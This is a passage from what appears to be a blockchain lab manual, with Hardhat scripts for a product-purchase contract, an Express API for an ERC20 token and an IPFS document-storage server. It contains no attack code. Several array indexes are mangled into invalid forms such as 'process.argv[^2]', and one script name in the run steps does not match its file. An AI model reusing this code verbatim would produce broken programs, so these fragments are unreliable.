}

function purchaseProduct(uint _productId) public payable {
Product storage product = products[_productId];
require(product.status == ProductStatus.Created, "Invalid status");
require(msg.value == product.price, "Incorrect payment");

product.status = ProductStatus.Paid;
product.customer = msg.sender;

emit PaymentReceived(_productId, msg.sender, msg.value);
emit ProductStatusChanged(_productId, ProductStatus.Paid);
}

function markAsDelivered(uint _productId) public onlyOwner {
Product storage product = products[_productId];
require(product.status == ProductStatus.Paid, "Not paid");
product.status = ProductStatus.Delivered;
```

```
        emit ProductStatusChanged(_productId, ProductStatus.Delivered);
        }

        function withdraw() public onlyOwner {
        uint balance = address(this).balance;
        require(balance > 0, "No funds");
        owner.transfer(balance);
        emit Withdrawal(balance, owner);
        }

        function getProductDetails(uint _productId) public view returns (
        string memory, uint, ProductStatus, address
        ) {
        Product memory p = products[_productId];
        return (p.identifier, p.price, p.status, p.customer);
        }

        function getContractBalance() public view returns (uint) {
        return address(this).balance;
        }
}
```

4. ignition/modules/ProductManagerModule.js

```
const { buildModule } = require("@nomicfoundation/hardhat-ignition/modules");

module.exports = buildModule("ProductManagerModule", (m) => {
  const productManager = m.contract("ProductManager");

  // Create sample products with valid IDs
  m.call(
        productManager,
        "createProduct",
        ["Premium Laptop", ethers.parseEther("1.5")],
        { id: "create_product_1" } // Valid ID with underscores
  );

  m.call(
        productManager,
        "createProduct",
        ["Smartphone Pro", ethers.parseEther("0.8")],
        { id: "create_product_2" } // Valid ID with underscores
  );

  return { productManager };
});
```

5. scripts/createProduct.js

```
const { ethers } = require("ethers"); // Use ethers instead of hardhat
require("dotenv").config();

async function main() {
  // Get environment variables
  const rpcUrl = process.env.RPC_URL || "http://localhost:8545";
  const contractAddress =
        process.env.CONTRACT_ADDRESS ||
        "0x5FbDB2315678afecb367f032d93F642f64180aa3";
  const privateKey = process.env.OWNER_PRIVATE_KEY;

  if (!privateKey) {
        throw new Error("OWNER_PRIVATE_KEY environment variable not set");
  }

  // Create provider and wallet
  const provider = new ethers.JsonRpcProvider(rpcUrl);
  const owner = new ethers.Wallet(privateKey, provider);

  // Minimal ABI for ProductManager contract
  const abi = [
        "function createProduct(string memory _identifier, uint _price) public",
        "function productCount() external view returns (uint)",
  ];

  // Create contract instance
  const contract = new ethers.Contract(contractAddress, abi, owner);

  // Get current product count
  const currentCount = await contract.productCount();
  console.log("Current product count:", currentCount.toString());

  // Create new product
  const identifier = process.argv[^2];
  const price = process.argv[^3];

  if (!identifier || !price) {
        throw new Error("Missing arguments: <identifier> <price>");
  }

  console.log(`Creating product: ${identifier} for ${price} ETH`);
  const tx = await contract.createProduct(identifier, ethers.parseEther(price));
  const receipt = await tx.wait();
  // Verify new product count
  const newCount = await contract.productCount();
  console.log("New product count:", newCount.toString());

  if (newCount > currentCount) {
        const newProductId = currentCount;
        console.log("Product created successfully! ID:", newProductId.toString());
        console.log("Transaction hash:", tx.hash);

        // Fetch and display new product details
        try {
        const detailedAbi = [
        "function products(uint) external view returns (string, uint, uint8, address)",
        ];
        const detailedContract = new ethers.Contract(
        contractAddress,
        detailedAbi,
        provider
        );
        const [name, priceWei] = await detailedContract.products(newProductId);
        console.log(
        "Product details:",
        name,
        ethers.formatEther(priceWei),
        "ETH"
        );
        } catch (e) {
        console.log("Could not fetch product details:", e.message);
        }
  } else {
        console.log("Error: Product count did not increase");
        console.log("Transaction receipt:", receipt);
  }
}

main().catch((error) => {
  console.error("Error:", error.message);
  process.exitCode = 1;
});
```

6. scripts/eventListener.js

```
const { ethers } = require("ethers");
require("dotenv").config();

async function main() {
```

```
const provider = new ethers.JsonRpcProvider(process.env.RPC_URL);
const contract = new ethers.Contract(
	process.env.CONTRACT_ADDRESS,
	[
	"event ProductCreated(uint indexed productId, string identifier, uint price)",
	"event PaymentReceived(uint indexed productId, address customer, uint amount)",
	"event ProductStatusChanged(uint indexed productId, uint newStatus)",
	"event Withdrawal(uint amount, address recipient)",
	],
	provider
);

// Listeners with proper event data extraction
contract.on("ProductCreated", (productId, identifier, price, eventLog) => {
	const txHash = eventLog.log.transactionHash;
	const block = eventLog.log.blockNumber;
	console.log("\n[PRODUCT CREATED]");
	console.log(`Product ID: ${productId}`);
	console.log(`Name: ${identifier}`);
	console.log(`Price: ${ethers.formatEther(price)} ETH`);
	console.log(`Block: ${block}`);
	console.log(`TX: ${txHash}`);
});

contract.on("PaymentReceived", (productId, customer, amount, eventLog) => {
	const txHash = eventLog.log.transactionHash;
	const block = eventLog.log.blockNumber;
	console.log("\n[PAYMENT RECEIVED]");
	console.log(`Product ID: ${productId}`);
	console.log(`Customer: ${customer}`);
	console.log(`Amount: ${ethers.formatEther(amount)} ETH`);
	console.log(`Block: ${block}`);
	console.log(`TX: ${txHash}`);
});

contract.on("ProductStatusChanged", (productId, newStatus, eventLog) => {
	const txHash = eventLog.log.transactionHash;
	const block = eventLog.log.blockNumber;
	const statuses = ["Created", "Paid", "Delivered"];
	console.log("\n[STATUS CHANGED]");
	console.log(`Product ID: ${productId}`);
	console.log(`New Status: ${statuses[newStatus]}`);
	console.log(`Block: ${block}`);
	console.log(`TX: ${txHash}`);
});

contract.on("Withdrawal", (amount, recipient, eventLog) => {
```

```
            const txHash = eventLog.log.transactionHash;
            const block = eventLog.log.blockNumber;
            console.log("\n[FUNDS WITHDRAWN]");
            console.log(`Amount: ${ethers.formatEther(amount)} ETH`);
            console.log(`Recipient: ${recipient}`);
            console.log(`Block: ${block}`);
            console.log(`TX: ${txHash}`);
  });

  console.log("Listening for blockchain events... Press Ctrl+C to stop.");
}

main().catch((error) => {
  console.error("Error:", error.message);
  process.exit(1);
});
```

7. scripts/getBalance.js

```
const { ethers } = require("hardhat");
require("dotenv").config();
async function main() {
  // Get environment variables
  const contractAddress =
            process.env.CONTRACTADDRESS || "0x5FbDB2315678afecb367f032d93F642f64180aa3";
  if (!contractAddress) throw new Error("CONTRACT_ADDRESS not set!");

  const provider = new ethers.JsonRpcProvider(
            process.env.RPC_URL || "http://localhost:8545"
  );

  // Get contract balance
  const balance = await provider.getBalance(contractAddress);

  // Get owner balance
  const [owner] = await ethers.getSigners();
  const ownerBalance = await provider.getBalance(owner.address);

  console.log(" Balance Report");
  console.log("=================");
  console.log(`Contract Balance: ${ethers.formatEther(balance)} ETH`);
  console.log(`Owner Balance:    ${ethers.formatEther(ownerBalance)} ETH`);
  console.log(`Contract Address: ${contractAddress}`);
  console.log(`Owner Address:    ${owner.address}`);
}

main().catch((error) => {
  console.error(" Error:", error.message);
  process.exitCode = 1;
});
```

8. scripts/getProductDetails.js

```
const { ethers } = require("hardhat");
require("dotenv").config();
async function main() {

  if (process.argv.length < 3) {
        throw new Error(
        "Missing product ID! Usage: node getProductDetails.js <productId>"
        );
  }

  // Get environment variables
  const contractAddress = process.env.CONTRACT_ADDRESS ||
"0x5FbDB2315678afecb367f032d93F642f64180aa3";
  if (!contractAddress) throw new Error("CONTRACT_ADDRESS not set!");

  const productId = process.argv[^2];

  const provider = new ethers.JsonRpcProvider(
        process.env.RPC_URL || "http://localhost:8545"
  );
  const contract = new ethers.Contract(
        contractAddress,
        [
        "function productCount() view returns (uint)",
        "function products(uint) view returns (string, uint, uint8, address)",
        ],
        provider
  );

  const count = await contract.productCount();
  console.log(`Total products: ${count}`);

  if (productId >= count) {
        throw new Error(
        `Product ID ${productId} doesn't exist! Max ID: ${count - 1}`
        );
  }

  try {
        const product = await contract.products(productId);
```

```
            console.log(`
Product Details (ID: ${productId})
---------------------------------
Name: ${product[^0]}
Price: ${ethers.formatEther(product[^1])} ETH
Status: ${getStatusName(product[^2])}
Customer: ${product[^3]}
`);
  } catch (error) {
            console.error(" Error fetching product details:", error.message);
  }
}

function getStatusName(statusCode) {
  const statusMap = {
            0: "Created",
            1: "Paid",
            2: "Delivered",
  };
  return statusMap[statusCode] || "Unknown";
}

main().catch((error) => {
  console.error(" Error:", error.message);
  process.exitCode = 1;
});
```

9. scripts/markDelivered.js

```
const { ethers } = require("hardhat");
require("dotenv").config();
async function main() {
  const contractAddress = process.env.CONTRACT_ADDRESS ||
"0x5FbDB2315678afecb367f032d93F642f64180aa3";
  const productId = process.argv[^2];
  const [owner] = await ethers.getSigners();

  const ProductManager = await ethers.getContractFactory("ProductManager");
  const contract = ProductManager.attach(contractAddress).connect(owner);

  console.log(`Marking product ${productId} as delivered`);
  const tx = await contract.markAsDelivered(productId);
  await tx.wait();

  console.log("Product marked as delivered! TX Hash:", tx.hash);
}
```

```
main().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});
```

10. scripts/purchaseProduct.js

```
const { ethers } = require("hardhat");
require("dotenv").config();
async function main() {
  if (process.argv.length < 3) {
        throw new Error(
        "Missing product ID! Usage: node purchaseProduct.js <productId>"
        );
  }

  const contractAddress =
        process.env.CONTRACT_ADDRESS ||
        "0x5FbDB2315678afecb367f032d93F642f64180aa3";
  const privateKey =
        process.env.CUSTOMER_PRIVATE_KEY ||
        "0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d";

  if (!contractAddress) throw new Error("CONTRACT_ADDRESS not set!");
  if (!privateKey) throw new Error("CUSTOMER_PRIVATE_KEY not set!");

  const productId = process.argv[^2];

  const provider = new ethers.JsonRpcProvider(
        process.env.RPC_URL || "http://localhost:8545"
  );
  const customer = new ethers.Wallet(privateKey, provider);

  const ProductManager = await ethers.getContractFactory("ProductManager");
  const contract = ProductManager.attach(contractAddress).connect(customer);

  // Get the exact product price from the contract
  const product = await contract.products(productId);
  const priceWei = product[^1];
  const priceEth = ethers.formatEther(priceWei);

  console.log(
        `Purchasing product ${productId} (${product[^0]}) for ${priceEth} ETH`
  );
  console.log(`From address: ${customer.address}`);

  const tx = await contract.purchaseProduct(productId, {
```

```
            value: priceWei,
  });

  await tx.wait();
  console.log(" Purchase successful!");
  console.log("Transaction hash:", tx.hash);
}

main().catch((error) => {
  console.error(" Error:", error.message);
  process.exitCode = 1;
});
```

11. scripts/withdraw.js

```
const { ethers } = require("ethers");
require("dotenv").config();

async function main() {
  const rpcUrl = process.env.RPC_URL || "http://localhost:8545";
  const contractAddress = process.env.CONTRACT_ADDRESS;
  const privateKey = process.env.OWNER_PRIVATE_KEY;

  if (!contractAddress) throw new Error("CONTRACT_ADDRESS not set!");
  if (!privateKey) throw new Error("OWNER_PRIVATE_KEY not set!");

  const provider = new ethers.JsonRpcProvider(rpcUrl);
  const owner = new ethers.Wallet(privateKey, provider);

  console.log(`Owner: ${owner.address}`);
  console.log(`Contract: ${contractAddress}`);

  const blockNumber = await provider.getBlockNumber();
  console.log(`Current block: ${blockNumber}`);

  const contractBalance = await provider.getBalance(contractAddress);
  const ownerBalance = await provider.getBalance(owner.address);

  console.log("\n Current Balances");
  console.log("-------------------");
  console.log(`Contract: ${ethers.formatEther(contractBalance)} ETH`);
  console.log(`Owner:    ${ethers.formatEther(ownerBalance)} ETH`);

  if (contractBalance > 0) {
            const abi = ["function withdraw() external"];
            const contract = new ethers.Contract(contractAddress, abi, owner);
```

```
        console.log("\n Attempting withdrawal...");
        const tx = await contract.withdraw();
        const receipt = await tx.wait();

        console.log(" Withdrawal successful!");
        console.log(`Transaction hash: ${tx.hash}`);

        const newContractBalance = await provider.getBalance(contractAddress);
        const newOwnerBalance = await provider.getBalance(owner.address);

        console.log("\n Updated Balances");
        console.log("-------------------");
        console.log(`Contract: ${ethers.formatEther(newContractBalance)} ETH`);
        console.log(`Owner:    ${ethers.formatEther(newOwnerBalance)} ETH`);
  } else {
        console.log("\n No funds to withdraw. Possible reasons:");
        console.log("1. No products have been purchased");
        console.log("2. Funds were already withdrawn");
        console.log("3. Contract was redeployed");
        console.log("4. Blockchain was reset");
  }
}

main().catch((error) => {
  console.error(" Error:", error.message);
  process.exitCode = 1;
});
```

Execution Steps:

1.Setup Environment:

```
npm install
```

2.Start Local Network:

```
npx hardhat node
```

3.Deploy Contract:

```
npm run deploy
```

4.Run Scripts:

Run Event Listener

```
node ./scripts/eventListener.js
```

Create a Product

```
node ./scripts/createProduct.js "Laptop" 2.5
```

Check Smart contract Balance

```
node ./scripts/getBalance.js
```

Check Product's Details

```
node ./scripts/getProductDetails.js
```

Buy the product

```
node ./scripts/purchaseProduct.js
```

Marked the product as Delivered

```
node ./scripts/markedDelivered.js
```

Check the Contract's balance

```
node ./scripts/getBalance.js
```

Withdraw the funds from contract

```
node ./scripts/withdraw.js
```

Result:

Exp. No.	5.ERC20 Token Management System with Hardhat & Express.js
Date:	

Aim
To implement a complete ERC20 token ecosystem using Hardhat development environment and Express.js backend, creating a functional token management system with API endpoints for balance checking, transfers, minting, approvals, and allowance management.

Prerequisites

- Node.js v18+ and npm v8+
- Hardhat development environment
- OpenZeppelin Contracts library
- Ethers.js for blockchain interaction
- Local blockchain (Hardhat Network on port 8545)

Algorithm

Step 1: Project Initialization

Set up development environment with Node.js, Hardhat, OpenZeppelin contracts, and Express.js dependencies

Step 2: Smart Contract Development

Create JadeToken ERC20 contract extending OpenZeppelin's ERC20 standard with initial supply minting

Step 3: Contract Deployment

Compile and deploy smart contract to Hardhat local network, capturing deployed contract address

Step 4: API Server Development

Build Express.js server with blockchain integration using ethers.js for contract interaction endpoints

Step 5: Endpoint Implementation

Implement REST API endpoints for balance queries, token transfers, approvals, and allowance management

Step 6: Testing and Validation

Execute comprehensive testing of all API endpoints and validate transaction functionality with proper error handling

Step 7: System Integration

Deploy complete system with API server connecting to blockchain network for real-time token management operations

Code:

Hardhat Configuration (hardhat.config.js)
```
require("@nomicfoundation/hardhat-toolbox");
require("dotenv").config();
module.exports = {
  solidity: "0.8.20",
  networks: {
```

```
            localhost: {
            url: "http://127.0.0.1:8545",
            },
  },
};
```

Smart Contract (contracts/JadeToken.sol)

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract JadeToken is ERC20 {
            constructor(uint256 initialSupply) ERC20("JadeToken", "JDT") {
            _mint(msg.sender, initialSupply);
            }
}
```

Deployment Module (ignition/modules/TokenModule.js)

```
const { buildModule } = require("@nomicfoundation/hardhat-ignition/modules");

module.exports = buildModule("TokenModule", (m) => {
  const initialSupply = m.getParameter("initialSupply", ethers.parseEther("1000"));
  const token = m.contract("JadeToken", [initialSupply]);
  return { token };
});
```

Express Server (server.js - Key Components)

```
require("dotenv").config();
const express = require("express");
const { ethers } = require("ethers");
const path = require("path");
const fs = require("fs");
const app = express();
const port = 3000;
// Provider & Signer Setup
const provider = new ethers.JsonRpcProvider("http://localhost:8545", {
chainId: 31337,
name: "hardhat",
});
if (!process.env.PRIVATE_KEY) {
console.error("ERROR: PRIVATE_KEY not found in .env file");
process.exit(1);
}
const signer = new ethers.Wallet(process.env.PRIVATE_KEY, provider);
const getDeployedAddress = () => {
try {
const deploymentPath = path.join(
__dirname,
"ignition",
"deployments",
"chain-31337",
"deployed_addresses.json"
);
if (!fs.existsSync(deploymentPath)) {
throw new Error("Deployment file not found");
}
```

```
const addresses = JSON.parse(fs.readFileSync(deploymentPath, "utf8"));
const rawAddress = addresses["TokenModule#JadeToken"];
if (!rawAddress) {
const availableKeys = Object.keys(addresses);
throw new Error(`Contract key not found. Available: ${availableKeys.join(", ")}`);
}
if (!ethers.isAddress(rawAddress)) {
throw new Error(`Invalid contract address: ${rawAddress}`);
}
return ethers.getAddress(rawAddress);
} catch (error) {
console.error("ERROR loading deployment:", error.message);
console.error("Run: npx hardhat ignition deploy ./ignition/modules/TokenModule.js --network localhost");
process.exit(1);
}
};
const contractAddress = getDeployedAddress();
console.log("Contract address:", contractAddress);
// Contract Instance Setup
let tokenArtifact;
try {
tokenArtifact = require("./artifacts/contracts/JadeToken.sol/JadeToken.json");
} catch {
tokenArtifact = require("./artifacts/contracts/MyToken.sol/MyToken.json");
}
const abi = tokenArtifact.abi;
const tokenContract = new ethers.Contract(contractAddress, abi, signer);
// Middleware
app.use(express.json());
app.use((req, res, next) => {
res.header("Access-Control-Allow-Origin", "*");
res.header("Access-Control-Allow-Headers", "Origin, X-Requested-With, Content-Type, Accept");
next();
});
// API Endpoints
app.get("/", (req, res) => {
res.json({
status: "running",
network: "localhost:8545",
contract: contractAddress,
signer: signer.address,
endpoints: {
balance: "GET /balance/:address",
transfer: "POST /transfer {to, amount}",
mint: "POST /mint {to, amount}",
approve: "POST /approve {spender, amount}",
allowance: "GET /allowance/:owner/:spender",
contractAddress: "GET /contract-address",
totalSupply: "GET /total-supply",
tokenInfo: "GET /token-info"
},
});
});
app.get("/contract-address", (req, res) => {
```

```
res.json({ address: contractAddress });
});
app.get("/token-info", async (req, res) => {
try {
const [name, symbol, totalSupply] = await Promise.all([
tokenContract.name(),
tokenContract.symbol(),
tokenContract.totalSupply()
]);
res.json({
name: name,
symbol: symbol,
totalSupply: ethers.formatEther(totalSupply),
contractAddress: contractAddress
});
} catch (error) {
res.status(500).json({ error: "Failed to get token info" });
}
});
app.get("/total-supply", async (req, res) => {
try {
const totalSupply = await tokenContract.totalSupply();
res.json({
totalSupply: ethers.formatEther(totalSupply),
rawTotalSupply: totalSupply.toString()
});
} catch (error) {
res.status(500).json({ error: "Failed to get total supply" });
}
});
app.get("/balance/:address", async (req, res) => {
const address = req.params.address;
if (!ethers.isAddress(address)) {
return res.status(400).json({ error: "Invalid Ethereum address" });
}
try {
const balance = await tokenContract.balanceOf(address);
res.json({
address: ethers.getAddress(address),
balance: ethers.formatEther(balance),
rawBalance: balance.toString()
});
} catch (error) {
try {
const data = tokenContract.interface.encodeFunctionData("balanceOf", [address]);
const rawResult = await provider.call({ to: contractAddress, data: data });
if (rawResult === '0x') {
return res.json({
address: ethers.getAddress(address),
balance: '0',
rawBalance: '0'
});
}
const balance = tokenContract.interface.decodeFunctionResult("balanceOf", rawResult)[0];
res.json({
address: ethers.getAddress(address),
balance: ethers.formatEther(balance),
rawBalance: balance.toString()
});
} catch (lowLevelError) {
res.status(500).json({ error: "Failed to get balance" });
}
}
});
app.post("/transfer", async (req, res) => {
const { to, amount } = req.body;
if (!to || !amount) {
return res.status(400).json({ error: "Missing required fields" });
}
if (!ethers.isAddress(to)) {
return res.status(400).json({ error: "Invalid recipient address" });
}
const amountNum = parseFloat(amount);
if (isNaN(amountNum) || amountNum <= 0) {
return res.status(400).json({ error: "Invalid amount" });
}
try {
const amountWei = ethers.parseEther(amount.toString());
const senderBalance = await tokenContract.balanceOf(signer.address);
if (senderBalance < amountWei) {
return res.status(400).json({
error: "Insufficient balance",
available: ethers.formatEther(senderBalance),
required: amount
});
}
const tx = await tokenContract.transfer(to, amountWei);
const receipt = await tx.wait();
res.json({
success: true,
message: `Transferred ${amount} tokens to ${to}`,
txHash: tx.hash,
blockNumber: receipt.blockNumber,
gasUsed: receipt.gasUsed.toString()
});
} catch (error) {
let errorMsg = "Transfer failed";
if (error.message.includes("insufficient balance")) errorMsg = "Insufficient token balance";
else if (error.message.includes("reverted")) errorMsg = "Transaction reverted";
res.status(500).json({ error: errorMsg });
}
});
app.post("/mint", async (req, res) => {
const { to, amount } = req.body;
if (!to || !amount) {
return res.status(400).json({ error: "Missing required fields" });
}
if (!ethers.isAddress(to)) {
```

```
return res.status(400).json({ error: "Invalid recipient address" });
}
const amountNum = parseFloat(amount);
if (isNaN(amountNum) || amountNum <= 0) {
return res.status(400).json({ error: "Invalid amount" });
}
try {
const amountWei = ethers.parseEther(amount.toString());
const hasMintFunction = typeof tokenContract.mint === 'function';
if (!hasMintFunction) {
const senderBalance = await tokenContract.balanceOf(signer.address);
if (senderBalance < amountWei) {
return res.status(400).json({
error: "Insufficient balance for transfer fallback",
available: ethers.formatEther(senderBalance),
required: amount
});
}
const tx = await tokenContract.transfer(to, amountWei);
const receipt = await tx.wait();
return res.json({
success: true,
message: `Transferred ${amount} tokens to ${to}`,
txHash: tx.hash,
blockNumber: receipt.blockNumber
});
}
const tx = await tokenContract.mint(to, amountWei);
const receipt = await tx.wait();
res.json({
success: true,
message: `Minted ${amount} tokens to ${to}`,
txHash: tx.hash,
blockNumber: receipt.blockNumber
});
} catch (error) {
let errorMsg = "Minting failed";
if (error.message.includes("Ownable: caller is not the owner")) errorMsg = "Only contract owner can mint";
else if (error.message.includes("reverted")) errorMsg = "Transaction reverted";
res.status(500).json({ error: errorMsg });
}
});
app.post("/approve", async (req, res) => {
const { spender, amount } = req.body;
if (!spender || !amount) {
return res.status(400).json({ error: "Missing required fields" });
}
if (!ethers.isAddress(spender)) {
return res.status(400).json({ error: "Invalid spender address" });
}
const amountNum = parseFloat(amount);
if (isNaN(amountNum) || amountNum < 0) {
return res.status(400).json({ error: "Invalid amount" });
}
```

```
try {
const amountWei = ethers.parseEther(amount.toString());
const tx = await tokenContract.approve(spender, amountWei);
const receipt = await tx.wait();
res.json({
success: true,
message: `Approved ${spender} to spend ${amount} tokens`,
txHash: tx.hash,
blockNumber: receipt.blockNumber
});
} catch (error) {
res.status(500).json({ error: "Approval failed" });
}
});
app.get("/allowance/:owner/:spender", async (req, res) => {
const owner = req.params.owner;
const spender = req.params.spender;
if (!ethers.isAddress(owner) || !ethers.isAddress(spender)) {
return res.status(400).json({ error: "Invalid address" });
}
try {
const allowance = await tokenContract.allowance(owner, spender);
res.json({
owner: ethers.getAddress(owner),
spender: ethers.getAddress(spender),
allowance: ethers.formatEther(allowance)
});
} catch (error) {
res.status(500).json({ error: "Allowance check failed" });
}
});
// Error Handling
app.use((req, res) => {
res.status(404).json({ error: "Endpoint not found" });
});
app.use((err, req, res, next) => {
res.status(500).json({ error: "Internal server error" });
});
// Server Initialization
app.listen(port, () => {
console.log(`Server running at http://localhost:${port}`);
console.log(`Contract: ${contractAddress}`);
});
```

Result:

Exp. No.	**6.DocuSafe: Decentralized Document Storage System using IPFS**
Date:	

Aim

To develop a decentralized document storage and retrieval system using IPFS (InterPlanetary File System) that provides distributed file storage, content addressing, and peer-to-peer file sharing without requiring blockchain integration.

Prerequisites

- **OS**: Windows/macOS/Linux
- **Node.js**: v18+ (check with `node -v`)
- **npm**: v8+ (check with `npm -v`)
- **IPFS**: Distributed file storage system
- **Express.js**: Backend API framework
- **React.js**: Frontend interface (optional)

Algorithm:

1. Clone and Setup

```
Clone the repository
git clone https://github.com/Arunmani21/docusafe.git
cd docusafe

Install dependencies
npm install
```

2. Install and Start IPFS

```
Terminal 1: Install IPFS (if not already installed)
Download from https://ipfs.io/docs/install/

Initialize IPFS
ipfs init

Start IPFS daemon
ipfs daemon
```

3. Start API Server

```
Terminal 2: Start Express server
npm start
```

4. Test File Operations

Terminal 3: Test upload functionality

```
node test-upload.js
```

Test API endpoints using curl

Upload file

```
curl -X POST -F "file=@test-document.txt" http://localhost:3000/upload
```

List files

```
curl http://localhost:3000/files
```

Download file (replace HASH with actual hash)

```
curl http://localhost:3000/download/QmYourHashHere
```

Code:

Core Implementation Files

IPFS Client: ipfs-client.js

```
const { create } = require('ipfs-http-client');
const fs = require('fs');
const path = require('path');

class IPFSClient {
        constructor() {
        // Connect to local IPFS node
        this.ipfs = create({
        host: 'localhost',
        port: 5001,
        protocol: 'http'
        });
        }

        async uploadFile(filePath) {
        try {
        console.log(`Uploading file: ${filePath}`);
        const file = fs.readFileSync(filePath);

        const result = await this.ipfs.add({
        path: path.basename(filePath),
        content: file
        });

        console.log('File uploaded to IPFS:');
        console.log(`Hash: ${result.cid.toString()}`);
        console.log(`Size: ${result.size} bytes`);

        return {
        hash: result.cid.toString(),
        size: result.size,
        fileName: path.basename(filePath)
        };
        } catch (error) {
        console.error('IPFS upload error:', error);
        throw error;
        }
        }

        async uploadBuffer(buffer, fileName) {
        try {
        console.log(`Uploading buffer as: ${fileName}`);

        const result = await this.ipfs.add({
        path: fileName,
        content: buffer
        });

        console.log('Buffer uploaded to IPFS:');
        console.log(`Hash: ${result.cid.toString()}`);
        console.log(`Size: ${result.size} bytes`);

        return {
        hash: result.cid.toString(),
        size: result.size,
        fileName: fileName
        };
        } catch (error) {
        console.error('IPFS buffer upload error:', error);
        throw error;
        }
        }

        async downloadFile(hash, outputPath) {
        try {
        console.log(`Downloading file with hash: ${hash}`);

        const chunks = [];
        for await (const chunk of this.ipfs.cat(hash)) {
        chunks.push(chunk);
        }

        const content = Buffer.concat(chunks);
        fs.writeFileSync(outputPath, content);

        console.log(`File downloaded to: ${outputPath}`);
        console.log(`Size: ${content.length} bytes`);

        return {
```

```
path: outputPath,
size: content.length
};
} catch (error) {
console.error('IPFS download error:', error);
throw error;
}
}

async getFileInfo(hash) {
try {
const stats = await this.ipfs.object.stat(hash);
const info = {
hash: hash,
size: stats.DataSize,
links: stats.NumLinks,
blockSize: stats.BlockSize
};

console.log('File info:', info);
return info;
} catch (error) {
console.error('IPFS file info error:', error);
throw error;
}
}

async listFiles() {
try {
const files = [];
for await (const file of this.ipfs.files.ls('/')) {
files.push({
        name: file.name,
        hash: file.cid.toString(),
        size: file.size,
        type: file.type
});
}
return files;
} catch (error) {
console.error('IPFS list files error:', error);
throw error;
}
}

async pinFile(hash) {
try {
await this.ipfs.pin.add(hash);
console.log(`File pinned: ${hash}`);
```

```
            return true;
            } catch (error) {
            console.error('IPFS pin error:', error);
            throw error;
            }
            }
}

module.exports = IPFSClient;
```

Express API Server: server.js

```
const express = require('express');
const multer = require('multer');
const cors = require('cors');
const path = require('path');
const IPFSClient = require('./ipfs-client');

const app = express();
const port = 3000;

// Middleware
app.use(cors());
app.use(express.json());

// Configure multer for file uploads
const storage = multer.memoryStorage();
const upload = multer({ storage: storage });

// Initialize IPFS client
const ipfsClient = new IPFSClient();

// Store uploaded files metadata (in production, use database)
const fileRegistry = new Map();

// Routes
app.get('/', (req, res) => {
            res.json({
            message: 'DocuSafe IPFS Storage API',
            endpoints: [
            'POST /upload - Upload file to IPFS',
            'GET /download/:hash - Download file from IPFS',
            'GET /info/:hash - Get file information',
            'GET /files - List all uploaded files',
            'POST /pin/:hash - Pin file to local node'
            ]
            });
});

// Upload file to IPFS
```

```
app.post('/upload', upload.single('file'), async (req, res) => {
        try {
        if (!req.file) {
        return res.status(400).json({ error: 'No file provided' });
        }

        const { originalname, mimetype, size } = req.file;
        console.log(`Receiving file: ${originalname} (${size} bytes)`);

        // Upload to IPFS
        const result = await ipfsClient.uploadBuffer(req.file.buffer, originalname);

        // Store metadata
        fileRegistry.set(result.hash, {
        fileName: originalname,
        mimeType: mimetype,
        size: size,
        uploadTime: new Date().toISOString(),
        ipfsHash: result.hash
        });

        res.json({
        success: true,
        message: 'File uploaded successfully',
        ipfsHash: result.hash,
        fileName: originalname,
        size: result.size,
        gateway: `http://localhost:8080/ipfs/${result.hash}`
        });

        } catch (error) {
        console.error('Upload error:', error);
        res.status(500).json({
        error: 'Upload failed',
        details: error.message
        });
        }
});

// Download file from IPFS
app.get('/download/:hash', async (req, res) => {
        try {
        const { hash } = req.params;
        console.log(`Download request for hash: ${hash}`);

        // Get file metadata
        const metadata = fileRegistry.get(hash);
        if (!metadata) {
        return res.status(404).json({ error: 'File not found in registry' });
        }

        // Stream file from IPFS
        const chunks = [];
        for await (const chunk of ipfsClient.ipfs.cat(hash)) {
        chunks.push(chunk);
        }
        const content = Buffer.concat(chunks);

        // Set appropriate headers
        res.set({
        'Content-Type': metadata.mimeType || 'application/octet-stream',
        'Content-Disposition': `attachment; filename="${metadata.fileName}"`,
        'Content-Length': content.length
        });

        res.send(content);

        } catch (error) {
        console.error('Download error:', error);
        res.status(500).json({
        error: 'Download failed',
        details: error.message
        });
        }
});

// Get file information
app.get('/info/:hash', async (req, res) => {
        try {
        const { hash } = req.params;

        // Get from local registry
        const metadata = fileRegistry.get(hash);

        // Get from IPFS
        const ipfsInfo = await ipfsClient.getFileInfo(hash);

        res.json({
        ipfsHash: hash,
        metadata: metadata || null,
        ipfsStats: ipfsInfo,
        gateway: `http://localhost:8080/ipfs/${hash}`
        });

        } catch (error) {
        console.error('Info error:', error);
        res.status(500).json({
        error: 'Failed to get file info',
        details: error.message
        });
        }
});

// List all files
app.get('/files', async (req, res) => {
        try {
        const files = Array.from(fileRegistry.entries()).map(([hash, metadata]) => ({
        ipfsHash: hash,
        ...metadata,
        gateway: `http://localhost:8080/ipfs/${hash}`
        }));

        res.json({
        totalFiles: files.length,
        files: files
        });

        } catch (error) {
        console.error('List files error:', error);
        res.status(500).json({
        error: 'Failed to list files',
        details: error.message
        });
        }
});

// Pin file to local IPFS node
app.post('/pin/:hash', async (req, res) => {
        try {
        const { hash } = req.params;

        await ipfsClient.pinFile(hash);

        res.json({
        success: true,
        message: `File pinned successfully`,
        ipfsHash: hash
        });

        } catch (error) {
        console.error('Pin error:', error);
        res.status(500).json({
        error: 'Failed to pin file',
        details: error.message
        });
        }
});
```

```
app.listen(port, () => {
	console.log(`DocuSafe API running on http://localhost:${port}`);
	console.log('IPFS Gateway: http://localhost:8080');
});
```

Package.json Configuration

```
{
  "name": "docusafe-ipfs",
  "version": "1.0.0",
  "description": "IPFS-based decentralized document storage system",
  "main": "server.js",
  "scripts": {
	"start": "node server.js",
	"dev": "nodemon server.js",
	"test": "node test-upload.js"
  },
  "dependencies": {
	"express": "^4.18.2",
	"ipfs-http-client": "^60.0.0",
	"multer": "^1.4.5",
	"cors": "^2.8.5"
  },
  "devDependencies": {
	"nodemon": "^3.0.1"
  }
}
```

Test Script: test-upload.js

```
const IPFSClient = require('./ipfs-client');
const fs = require('fs');

async function testUpload() {
	try {
	const ipfs = new IPFSClient();

	// Create test file
	const testContent = 'Hello, IPFS! This is a test document.';
	fs.writeFileSync('test-document.txt', testContent);

	console.log('=== Testing IPFS Upload ===');

	// Upload file
	const uploadResult = await ipfs.uploadFile('test-document.txt');
	console.log('Upload successful:', uploadResult);

	console.log('\n=== Testing IPFS Download ===');
```

```
            // Download file
            const downloadResult = await ipfs.downloadFile(
